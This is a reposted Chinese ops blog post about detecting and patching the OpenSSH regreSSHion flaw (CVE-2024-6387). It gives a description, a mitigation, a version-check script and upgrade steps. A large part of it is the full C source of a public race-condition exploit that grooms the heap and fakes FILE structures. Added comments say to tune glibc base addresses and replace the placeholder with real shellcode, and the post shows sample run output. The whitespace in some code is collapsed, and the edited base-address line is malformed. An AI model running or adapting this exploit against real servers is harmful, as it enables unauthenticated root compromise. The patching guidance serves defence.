0


LInux SSH Server远程代码执行漏洞 (CVE-2024-6387)处理

一、漏洞描述

2024年7月1日,OpenSSH Server中存在的一个RCE远程代码执行漏洞(CVE-2024-6387,又被称为regreSSHion)细节被公开,该漏洞影响基于glibc的Linux系统上的OpenSSH Server (sshd)。

在这里插入图片描述

默认配置下的OpenSSH Server (sshd)中存在信号处理程序竞争条件漏洞,如果客户端未在LoginGraceTime内(默认情况下为120秒,旧版OpenSSH中为600秒)进行身份验证,则sshd的SIGALRM处理程序将被异步调用,但该信号处理程序会调用非异步信号安全的函数,最终造成Double-Free内存管理问题。威胁者可利用该漏洞在基于glibc的Linux系统上以root身份实现未经身份验证的远程代码执行。根据已公开技术细节中的描述,在开启ASLR的i386设备上,利用该漏洞大约需要6-8小时获取root shell,在开启ASLR的amd64设备上则可能需要约一周左右。另据悉,现有的利用POC验证需要基于 glibc 的 Linux 系统,并且当前已知的利用方案仅针对 32 位系统有效,但对64位系统的利用也被认为是可能得,虽目前尚未证明,但很可能这些攻击将得到改进从而对64位OS漏洞进行成功利用,但OpenBSD类 OS不受该漏洞影响,更多参看OpenSSH 9.8发布说明。

影响范围:

OpenSSH < 4.4p1(不含已修复CVE-2006-5051( 8.5p1已修复)和CVE-2008-4109的实例)
8.5p1 <= OpenSSH < 9.8p1 # 注:OpenBSD系统不受该漏洞影响。
Red Hat Enterprise Linux 9,该缺陷不会影响Red Hat Enterprise Linux 8附带的OpenSSH版本,因其中所涉易受攻击的代码是在上游的较新OpenSSH版本中引入的,且未向后移植到Red Hat Enterprise Linux 8。

临时缓解:

  • /etc/ssh/sshd_config配置LoginGraceTime 0,该参数用于指定成功验证SSH服务器的时间。宽限期的时间越长,可存在开放的未认证连接暴露面越大,(默认值为120) 。宽限期应限制在适当的范围内,以确保服务是用于所需的访问。或直接执行:sed -i “s/#LoginGraceTime 2m/LoginGraceTime 60/g” /etc/ssh/sshd_config ;请注意,使用该配置会导致MaxStartups连接耗尽,从而使sshd易受拒绝服务攻击,但可以缓解本漏洞的风险。也可使用iptables等防火墙最小化控制SSH访问范围,可监控最大连接数发现异常。

关联资源:ubuntu公告及补丁、cve-2024-6387细节、RCE漏洞说明、漏洞POC恶意代码、openssh-portable

二、处理验证

1)POC测试验证

git clone https://github.com/shamo0/CVE-2024-6387_PoC  //如下所示
Cloning into 'CVE-2024-6387_PoC'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 9(delta 0), reused 0(delta 0), pack-reused 0
Receiving objects: 100% (9/9), done.

cd CVE-2024-6387_PoC/
chmod +x check.sh
#执行脚本,验证#如果输出:vulnerable (running SSH version).就表明当前SSH server版本受影响,否则输出:not vulnerable (running SSH version)#执行:check.sh <ip> [<ip> ...] [--port=<port>] [--timeout=<timeout>]
./check.sh 127.0.0.1 --port=10087--timeout=120ms  #可以跟多个ip,依赖nc命令,需先安装nmap,输出如下:

./check.sh: line 18: warning: command substitution: ignored null byte in input
127.0.0.1:10087 not vulnerable (running SSH-2.0-OpenSSH_8.8
 
|tнܗg6Өn墵rve25519-sha256,curve25519-sha256@libssh.……
#验证脚本#!/bin/bashcheck_vulnerability(){localip="$1"localport="$2"localtimeout="$3"# Check if port is opennc-z-w"$timeout""$ip""$port"localport_status="$?"if["$port_status"!=0];thenecho"$ip:$port closed"returnfi# Retrieve SSH banner 。这里不准,现场OpenSSH_8.8p1,但探测出来的是OpenSSH_8.8,这是因为ssh -V:显示的是本地安装的SSH客户端的版本信息,这里nc或ssh-keyscan显示的是ssh server返回支持的密钥类型数采用的ssh协议的兼容ssh的版本,也不是server的banner=$(echo"SSH-2.0-OpenSSH"|nc-w"$timeout""$ip""$port")# Check for vulnerable versionsvulnerable_versions=("SSH-2.0-OpenSSH_8.5p1""SSH-2.0-OpenSSH_8.6p1""SSH-2.0-OpenSSH_8.7p1""SSH-2.0-OpenSSH_8.8p1""SSH-2.0-OpenSSH_8.9p1""SSH-2.0-OpenSSH_9.0p1""SSH-2.0-OpenSSH_9.1p1""SSH-2.0-OpenSSH_9.2p1""SSH-2.0-OpenSSH_9.3p1""SSH-2.0-OpenSSH_9.4p1""SSH-2.0-OpenSSH_9.5p1""SSH-2.0-OpenSSH_9.6p1""SSH-2.0-OpenSSH_9.7p1")# Check if banner contains any vulnerable versionforversionin"${vulnerable_versions[@]}";doif[["$banner"== *"$version"* ]];thenecho"$ip:$port vulnerable (running $banner)"returnfidoneecho"$ip:$port not vulnerable (running $banner)"}main(){if[$#-eq0];thenecho"Usage: $0 <ip> [<ip> ...] [--port=<port>] [--timeout=<timeout>]"exit1fiport=22timeout=1.0# Parse argumentswhile[$#-gt0];docase"$1"in--port=*)port="${1#*=}"shift;;--timeout=*)timeout="${1#*=}"shift;;
            *)ips+=("$1")shift;;esacdone# Perform vulnerability check for each IPforipin"${ips[@]}";do
        check_vulnerability "$ip""$port""$timeout"done}
main "$@"#POC C代码
/** 7etsuo-regreSSHion.c
 * -------------------------------------------------------------------------
 * SSH-2.0-OpenSSH_9.2p1 Exploit
 * -------------------------------------------------------------------------
 *
 * Exploit Title  : SSH Exploit for CVE-2024-6387 (regreSSHion)
 * Author         : 7etsuo
 * Date           :2024-07-01
 *
 * Description:
 * Targets a signal handler race condition in OpenSSH's
 * server (sshd) on glibc-based Linux systems. It exploits a vulnerability
 * where the SIGALRM handler calls async-signal-unsafe functions, leading
 * to rce as root.
 *
 * Notes:
 * 1. Shellcode        : Replace placeholder with actual payload.
 * 2. GLIBC_BASES      : Needs adjustment for specific target systems.
 * 3. Timing parameters: Fine-tune based on target system responsiveness.某些漏洞利用可能需要精确的时间控制。测试人员需要根据目标系统的响应时间来调整这些参数,以确保漏洞利用的时机正确
 * 4. Heap layout      : Requires tweaking for different OpenSSH versions.漏洞利用涉及到特定的堆布局或内存结构,可能需要针对不同的OpenSSH版本或其他软件版本调整代码。
 * 5. File structure offsets: Verify for the specific glibc version.利用涉及到特定的文件结构偏移,这些偏移可能因glibc版本而异,需要进行相应的验证和调整。
 * -------------------------------------------------------------------------
 */

#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <time.h>

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)
//glibc基地址可能需要根据目标系统的实际ASLR布局进行调整。测试人员需要确定并使用正确的基地址来绕过ASLR。
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

int setup_connection (const char *ip, int port);
void send_packet (int sock, unsigned char packet_type,
                  const unsigned char *data, size_t len);
void prepare_heap (int sock);
void time_final_packet (int sock, double *parsing_time);
int attempt_race_condition (int sock, double parsing_time,
                            uint64_t glibc_base);
double measure_response_time (int sock, int error_type);
void create_public_key_packet (unsigned char *packet, size_t size,
                               uint64_t glibc_base);
void create_fake_file_structure (unsigned char *data, size_t size,
                                 uint64_t glibc_base);
void send_ssh_version (int sock);
int receive_ssh_version (int sock);
void send_kex_init (int sock);
int receive_kex_init (int sock);
int perform_ssh_handshake (int sock);

int
main (int argc, char *argv[])
{
  if (argc != 3)
    {
      fprintf (stderr, "Usage: %s <ip> <port>\n", argv[0]);
      exit (1);
    }

  const char *ip = argv[1];
  int port = atoi (argv[2]);
  double parsing_time = 0;
  int success = 0;

  srand (time (NULL));

  // Attempt exploitation for each possible glibc base address
  for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
    {
      uint64_t glibc_base = GLIBC_BASES[base_idx];
      printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);

      // The advisory mentions "~10,000 tries on average"
      for (int attempt = 0; attempt < 20000 && !success; attempt++)
        {
          if (attempt % 1000 == 0)
            {
              printf ("Attempt %d of 20000\n", attempt);
            }

          int sock = setup_connection (ip, port);
          if (sock < 0)
            {
              fprintf (stderr, "Failed to establish connection, attempt %d\n",
                       attempt);
              continue;
            }

          if (perform_ssh_handshake (sock) < 0)
            {
              fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
              close (sock);
              continue;
            }

          prepare_heap (sock);
          time_final_packet (sock, &parsing_time);

          if (attempt_race_condition (sock, parsing_time, glibc_base))
            {
              printf ("Possible exploitation success on attempt %d with glibc "
                      "base 0x%lx!\n",
                      attempt, glibc_base);
              success = 1;
              break;
            }

          close (sock);
          usleep (100000); // 100ms delay between attempts, as mentioned in the
                           // advisory
        }
    }

  return !success;
}

int
setup_connection (const char *ip, int port)
{
  int sock = socket (AF_INET, SOCK_STREAM, 0);
  if (sock < 0)
    {
      perror ("socket");
      return -1;
    }

  struct sockaddr_in server_addr;
  memset (&server_addr, 0, sizeof (server_addr));
  server_addr.sin_family = AF_INET;
  server_addr.sin_port = htons (port);
  if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0)
    {
      perror ("inet_pton");
      close (sock);
      return -1;
    }

  if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr))
      < 0)
    {
      perror ("connect");
      close (sock);
      return -1;
    }

  // Set socket to non-blocking mode
  int flags = fcntl (sock, F_GETFL, 0);
  fcntl (sock, F_SETFL, flags | O_NONBLOCK);

  return sock;
}

void
send_packet (int sock, unsigned char packet_type, const unsigned char *data,
             size_t len)
{
  unsigned char packet[MAX_PACKET_SIZE];
  size_t packet_len = len + 5;

  packet[0] = (packet_len >> 24) & 0xFF;
  packet[1] = (packet_len >> 16) & 0xFF;
  packet[2] = (packet_len >> 8) & 0xFF;
  packet[3] = packet_len & 0xFF;
  packet[4] = packet_type;

  memcpy (packet + 5, data, len);

  if (send (sock, packet, packet_len, 0) < 0)
    {
      perror ("send_packet");
    }
}

void
send_ssh_version (int sock)
{  //这里更新为自己的ssh版本,现场更新为:OpenSSH_8.8p1
  const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n";
  if (send (sock, ssh_version, strlen (ssh_version), 0) < 0)
    {
      perror ("send ssh version");
    }
}

int
receive_ssh_version (int sock)
{
  char buffer[256];
  ssize_t received;
  do
    {
      received = recv (sock, buffer, sizeof (buffer) - 1, 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));

  if (received > 0)
    {
      buffer[received] = '\0';
      printf ("Received SSH version: %s", buffer);
      return 0;
    }
  else if (received == 0)
    {
      fprintf (stderr, "Connection closed while receiving SSH version\n");
    }
  else
    {
      perror ("receive ssh version");
    }
  return -1;
}

void
send_kex_init (int sock)
{
  unsigned char kexinit_payload[36] = { 0 };
  send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));
}

int
receive_kex_init (int sock)
{
  unsigned char buffer[1024];
  ssize_t received;
  do
    {
      received = recv (sock, buffer, sizeof (buffer), 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));

  if (received > 0)
    {
      printf ("Received KEX_INIT (%zd bytes)\n", received);
      return 0;
    }
  else if (received == 0)
    {
      fprintf (stderr, "Connection closed while receiving KEX_INIT\n");
    }
  else
    {
      perror ("receive kex init");
    }
  return -1;
}

int
perform_ssh_handshake (int sock)
{
  send_ssh_version (sock);
  if (receive_ssh_version (sock) < 0)
    return -1;
  send_kex_init (sock);
  if (receive_kex_init (sock) < 0)
    return -1;
  return 0;
}

void
prepare_heap (int sock)
{
  // Packet a: Allocate and free tcache chunks
  for (int i = 0; i < 10; i++)
    {
      unsigned char tcache_chunk[64];
      memset (tcache_chunk, 'A', sizeof (tcache_chunk));
      send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
      // These will be freed by the server, populating tcache
    }

  // Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
  for (int i = 0; i < 27; i++)
    {
      // Allocate large chunk (~8KB)
      unsigned char large_hole[8192];
      memset (large_hole, 'B', sizeof (large_hole));
      send_packet (sock, 5, large_hole, sizeof (large_hole));

      // Allocate small chunk (320B)
      unsigned char small_hole[320];
      memset (small_hole, 'C', sizeof (small_hole));
      send_packet (sock, 5, small_hole, sizeof (small_hole));
    }

  // Packet c: Write fake headers, footers, vtable and _codecvt pointers
  for (int i = 0; i < 27; i++)
    {
      unsigned char fake_data[4096];
      create_fake_file_structure (fake_data, sizeof (fake_data),
                                  GLIBC_BASES[0]);
      send_packet (sock, 5, fake_data, sizeof (fake_data));
    }

  // Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
  unsigned char large_string[MAX_PACKET_SIZE - 1];
  memset (large_string, 'E', sizeof (large_string));
  send_packet (sock, 5, large_string, sizeof (large_string));
}

void
create_fake_file_structure (unsigned char *data, size_t size,
                            uint64_t glibc_base)
{
  memset (data, 0, size);

  struct
  {
    void *_IO_read_ptr;
    void *_IO_read_end;
    void *_IO_read_base;
    void *_IO_write_base;
    void *_IO_write_ptr;
    void *_IO_write_end;
    void *_IO_buf_base;
    void *_IO_buf_end;
    void *_IO_save_base;
    void *_IO_backup_base;
    void *_IO_save_end;
    void *_markers;
    void *_chain;
    int _fileno;
    int _flags;
    int _mode;
    char _unused2[40];
    void *_vtable_offset;
  } *fake_file = (void *)data;

  // Set _vtable_offset to 0x61 as described in the advisory
  fake_file->_vtable_offset = (void *)0x61;

  // Set up fake vtable and _codecvt pointers
  *(uint64_t *)(data + size - 16)
      = glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps)
  *(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt
}

void
time_final_packet (int sock, double *parsing_time)
{
  double time_before = measure_response_time (sock, 1);
  double time_after = measure_response_time (sock, 2);
  *parsing_time = time_after - time_before;

  printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
}

double
measure_response_time (int sock, int error_type)
{
  unsigned char error_packet[1024];
  size_t packet_size;

  if (error_type == 1)
    {
      // Error before sshkey_from_blob
      packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
                              "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3");
    }
  else
    {
      // Error after sshkey_from_blob
      packet_size = snprintf ((char *)error_packet, sizeof (error_packet),
                              "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9");
    }

  struct timespec start, end;
  clock_gettime (CLOCK_MONOTONIC, &start);

  send_packet (sock, 50, error_packet,
               packet_size); // SSH_MSG_USERAUTH_REQUEST

  char response[1024];
  ssize_t received;
  do
    {
      received = recv (sock, response, sizeof (response), 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));

  clock_gettime (CLOCK_MONOTONIC, &end);

  double elapsed
      = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
  return elapsed;
}

void
create_public_key_packet (unsigned char *packet, size_t size,
                          uint64_t glibc_base)
{
  memset (packet, 0, size);

  size_t offset = 0;
  for (int i = 0; i < 27; i++)
    {
      // malloc(~4KB) - This is for the large hole
      *(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096);
      offset += CHUNK_ALIGN (4096);

      // malloc(304) - This is for the small hole (potential FILE structure)
      *(uint32_t *)(packet + offset) = CHUNK_ALIGN (304);
      offset += CHUNK_ALIGN (304);
    }

  // Add necessary headers for the SSH public key format
  memcpy (packet, "ssh-rsa ", 8);

  // Place shellcode in the heap via previous allocations
  //测试人员需要将这里的NOP滑梯或占位符替换为实际的shellcode有效载荷,以实现所需的后利用行为
  memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13, shellcode,
          sizeof (shellcode));

  // Set up the fake FILE structures within the packet
  for (int i = 0; i < 27; i++)
    {
      create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1)
                                      + CHUNK_ALIGN (304) * i,
                                  CHUNK_ALIGN (304), glibc_base);
    }
}

int
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base) //漏洞触发逻辑
{
  unsigned char final_packet[MAX_PACKET_SIZE];
  create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);

  // Send all but the last byte
  if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)
    {
      perror ("send final packet");
      return 0;
    }

  // Precise timing for last byte
  struct timespec start, current;
  clock_gettime (CLOCK_MONOTONIC, &start);

  while (1)
    {
      clock_gettime (CLOCK_MONOTONIC, &current);
      double elapsed = (current.tv_sec - start.tv_sec)
                       + (current.tv_nsec - start.tv_nsec) / 1e9;
      if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))
        { // 1ms before SIGALRM
          if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0)
            {
              perror ("send last byte");
              return 0;
            }
          break;
        }
    }

  // Check for successful exploitation
  char response[1024];
  ssize_t received = recv (sock, response, sizeof (response), 0);
  if (received > 0)
    {
      printf ("Received response after exploit attempt (%zd bytes)\n",
              received);
      // Analyze response to determine if we hit the "large" race window
      if (memcmp (response, "SSH-2.0-", 8) != 0)
        {
          printf ("Possible hit on 'large' race window\n");
          return 1;
        }
    }
  else if (received == 0)
    {
      printf (
          "Connection closed by server - possible successful exploitation\n");
      return 1;
    }
  else if (errno == EWOULDBLOCK || errno == EAGAIN)
    {
      printf ("No immediate response from server - possible successful "
              "exploitation\n");
      return 1;
    }
  else
    {
      perror ("recv");
    }
  return 0;
}

int
perform_exploit (const char *ip, int port)
{
  int success = 0;
  double parsing_time = 0;
  double timing_adjustment = 0;

  for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)
    {
      uint64_t glibc_base = GLIBC_BASES[base_idx];
      printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);

      for (int attempt = 0; attempt < 10000 && !success; attempt++)
        {
          if (attempt % 1000 == 0)
            {
              printf ("Attempt %d of 10000\n", attempt);
            }

          int sock = setup_connection (ip, port);
          if (sock < 0)
            {
              fprintf (stderr, "Failed to establish connection, attempt %d\n",
                       attempt);
              continue;
            }

          if (perform_ssh_handshake (sock) < 0)
            {
              fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);
              close (sock);
              continue;
            }

          prepare_heap (sock);
          time_final_packet (sock, &parsing_time);

          // Implement feedback-based timing strategy
          parsing_time += timing_adjustment;

          if (attempt_race_condition (sock, parsing_time, glibc_base))
            {
              printf ("Possible exploitation success on attempt %d with glibc "
                      "base 0x%lx!\n",
                      attempt, glibc_base);
              success =1;
              // In a real exploit, we would now attempt to interact with the
              // shell
            }else{
              // Adjust timing based on feedback
              timing_adjustment +=0.00001; // Small incremental adjustment
            }

          close (sock);
          usleep (100000); // 100ms delay between attempts, as mentioned in the
                           // advisory
        }}return success;}#修改对应glibc 地址#// Possible glibc base addresses (for ASLR bypass)#uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };  修改这里
ldd --version#确认现场glibc版本
ldd (GNU libc)2.34cat /proc/self/maps |grep-i libc-*  #确定glibc的基地址(内存区域的起始地址),结果出来的64位的
7db006aeb000-7db006b17000 r--p 00000000 08:01 395141                     /usr/lib64/libc.so.6
7db006b17000-7db006c88000 r-xp 0002c000 08:01 395141                     /usr/lib64/libc.so.6
7db006c88000-7db006cd9000 r--p 0019d000 08:01 395141                     /usr/lib64/libc.so.6
7db006cd9000-7db006cdc000 r--p 001ed000 08:01 395141                     /usr/lib64/libc.so.6
7db006cdc000-7db006cdf000 rw-p 001f0000 08:01 395141                     /usr/lib64/libc.so.6
//即基地址为:0x7db006aeb000,0x7db006cdf000
uint64_t GLIBC_BASES[]={ 0x7db006aeb000, 7db006cdf000 }; 
//替换你Linux系统中实际使用的shellcode

#编译
gcc -o ssh_poc ./regreSSHion.c  
#验证
./ssh_poc  ip port  #程序的输出将是一个整数,表示成功(0)或失败(非0值),如果漏洞利用成功,攻击者通常会尝试与目标服务器上的交互式shell进行交互
Attempting exploitation with glibc base: 0xb7200000  #表示程序正在尝试使用给定的glibc基地址(0xb7200000)来进行漏洞利用
Attempt 0 of 20000#这是程序的第一次尝试,它将尝试总共20000次,以找到正确的时机来触发竞争条件
Received SSH version: SSH-2.0-OpenSSH_8.8  #程序已经完成了SSH版本号的交换和KEX_INIT的接收,这是SSH握手过程的一部分
Received KEX_INIT (1024 bytes)
Estimated parsing time: 0.000364 seconds  #程序估计了服务器处理数据包的时间,这个时间将用于后续触发竞争条件的精确时间计算。

现场为BClinux-Euler22.10版本,基于openEuler22.03,验证效果如下所示:
在这里插入图片描述

2)如果不放心请升级到最新版本(OpenSSH 9.8p1)或编译安装最新版本

参看:ssh升级, 现场:BigCloud Enterprise Linux For Euler 22.10 LTS,OpenSSH_8.8p1, OpenSSL 1.1.1m,经测试不涉及上述漏洞,但也存在该漏洞目前限于32位OS所致,所以不放心还是建议升级到OpenSSH 9.8p1。

在这里插入图片描述

#以下仅用于openbsd系统wget https://ftp.openbsd.org/pub/OpenBSD/OpenSSH/openssh-9.8.tar.gz  # July 1, 2024tar zxvf .../openssh-9.8.tar.gz
cdsshmkdir obj
mkdir  cleandir
make depend
makemakeinstall#这一步也不必要cp ssh_config sshd_config /etc/ssh # 可选,一般用原来的备份恢复,#restart sshd.#其他源码,依赖c、libcrypto(LibreSSL or OpenSSL)库、zlib(可选)、libfido2 (FIDO security token)
https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.8p1.tar.gz
cd openssh
./configure --prefix=/usr/local/ssh8.6 --sysconfdir=/etc/ssh --with-pam --with-kerberos5 --with-zlib=/usr/local/zlib --with-ssl-dir=/usr/local/ssl1.1.1 --with-md5-passwords --with-ssl-engine --disable-etc-default-login  #更多参看 README.platform,或--help查看make&&make tests

#或git clone https://github.com/openssh/openssh-portable # or https://anongit.mindrot.org/openssh.gitcd openssh-portable
autoreconf
./configure
make&&make tests

现场为移动云产品,经确认官方已修复该漏洞,详见修复说明,需升级到openssh-8.8p1-31.oe2203.bclinux.x86_64;本次影响系统包括:el7、oe22.10、oe22.10U、oe22.10U2,其他版本el8、oe21.10不受影响

https://mirrors.cmecloud.cn/bclinux/oe22.10/update/x86_64/Packages/openssh-8.8p1-31.oe2203.bclinux.x86_64.rpm
https://mirrors.cmecloud.cn/bclinux/oe22.10/update/x86_64/Packages/openssh-askpass-8.8p1-31.oe2203.bclinux.x86_64.rpm
https://mirrors.cmecloud.cn/bclinux/oe22.10/update/x86_64/Packages/openssh-clients-8.8p1-31.oe2203.bclinux.x86_64.rpm
https://mirrors.cmecloud.cn/bclinux/oe22.10/update/x86_64/Packages/openssh-keycat-8.8p1-31.oe2203.bclinux.x86_64.rpm
https://mirrors.cmecloud.cn/bclinux/oe22.10/update/x86_64/Packages/openssh-server-8.8p1-31.oe2203.bclinux.x86_64.rpm
标签: linux ssh 运维

本文转载自: https://blog.csdn.net/ximenjianxue/article/details/140129988
版权归原作者 羌俊恩 所有, 如有侵权,请联系我们删除。

“LInux SSH Server远程代码执行漏洞 (CVE-2024-6387)处理”的评论:

还没有评论